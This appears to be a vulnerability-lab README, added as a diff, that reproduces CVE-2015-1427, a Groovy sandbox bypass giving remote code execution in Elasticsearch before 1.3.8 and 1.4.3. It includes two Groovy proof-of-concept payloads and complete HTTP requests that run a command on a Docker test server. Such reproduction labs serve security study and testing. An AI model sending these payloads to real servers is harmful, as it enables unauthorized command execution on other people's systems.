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+# ElasticSearch Groovy Sandbox Bypass and Remote Code Execution (CVE-2015-1427)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+ElasticSearch is a distributed, RESTful search and analytics engine.
+
+ElasticSearch versions prior to 1.3.8 and 1.4.3 contain a vulnerability in the Groovy scripting engine that allows attackers to bypass the sandbox protection and execute arbitrary code on the server.
+
+After [CVE-2014-3120](../CVE-2014-3120/), ElasticSearch changed its default dynamic scripting language to Groovy and added a sandbox. However, dynamic language execution remained enabled by default. This vulnerability involves:
+
+1. A sandbox bypass
+2. A Groovy code execution vulnerability
+
+ElasticSearch supports using "sandboxed" Groovy language as a dynamic scripting engine. However, the sandbox implementation was insufficient. Two methods for command execution were discovered:
+
+1. Lupin's method: Bypass the Java sandbox using reflection
+2. Tang3's method: Use Groovy language features to execute commands directly, without using Java
+
+Based on these approaches, we have two different POCs.
+
+Java sandbox bypass method:
+
+```groovy
+java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
+```
+
+Groovy direct command execution method:
+
+```groovy
+def command='id';def res=command.execute().text;res
+```
+
+References:
+
+- <http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/>
+- <https://github.com/XiphosResearch/exploits>
+- <http://cb.drops.wiki/drops/papers-5107.html>
+- <http://cb.drops.wiki/drops/papers-5142.html>
+
+## Environment Setup
+
+Execute the following commands to start a 1.4.2 version ElasticSearch server:
+
+```
+docker compose up -d
+```
+
+After the server starts, you can access the ElasticSearch server at `http://your-ip:9200`.
+
+## Vulnerability Reproduction
+
+Since querying requires at least one document in the index, first send the following request to add data:
+
+```
+POST /website/blog/ HTTP/1.1
+Host: your-ip:9200
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 25
+
+{
+  "name": "test"
+}
+```
+
+Then send a request containing the payload to execute arbitrary commands:
+
+```
+POST /_search?pretty HTTP/1.1
+Host: your-ip:9200
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/text
+Content-Length: 156
+
+{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
+```
+
+The command execution result will be returned in the response:
+
+![](1.png)